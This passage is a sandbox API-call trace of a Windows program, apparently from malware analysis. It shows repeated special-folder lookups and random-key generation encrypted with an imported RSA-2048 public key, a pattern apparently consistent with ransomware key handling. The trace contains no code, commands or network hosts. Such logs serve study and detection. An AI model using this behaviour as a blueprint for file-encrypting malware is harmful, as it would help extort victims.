[0143.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.711] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.713] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.714] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.714] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.714] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.714] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.728] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.732] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.735] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.735] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.735] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.735] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.735] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.736] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.736] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.736] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.738] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x38ce30) returned 1 [0143.739] CryptGetKeyParam (in: hKey=0x38ce30, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.739] CryptEncrypt (in: hKey=0x38ce30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29a0000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x29a0000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.739] GetLastError () returned 0x0 [0143.739] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.739] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed0e0) returned 1 [0143.741] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x38c8f0) returned 1 [0143.741] CryptGetKeyParam (in: hKey=0x38c8f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.741] CryptEncrypt (in: hKey=0x38c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29b0000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x29b0000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.741] GetLastError () returned 0x0 [0143.741] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.741] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.744] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.745] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.767] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.767] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.767] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.767] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.783] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.784] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.785] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.785] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.785] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.785] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.796] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.808] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.808] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.808] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.808] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.809] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.809] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.809] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.809] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: 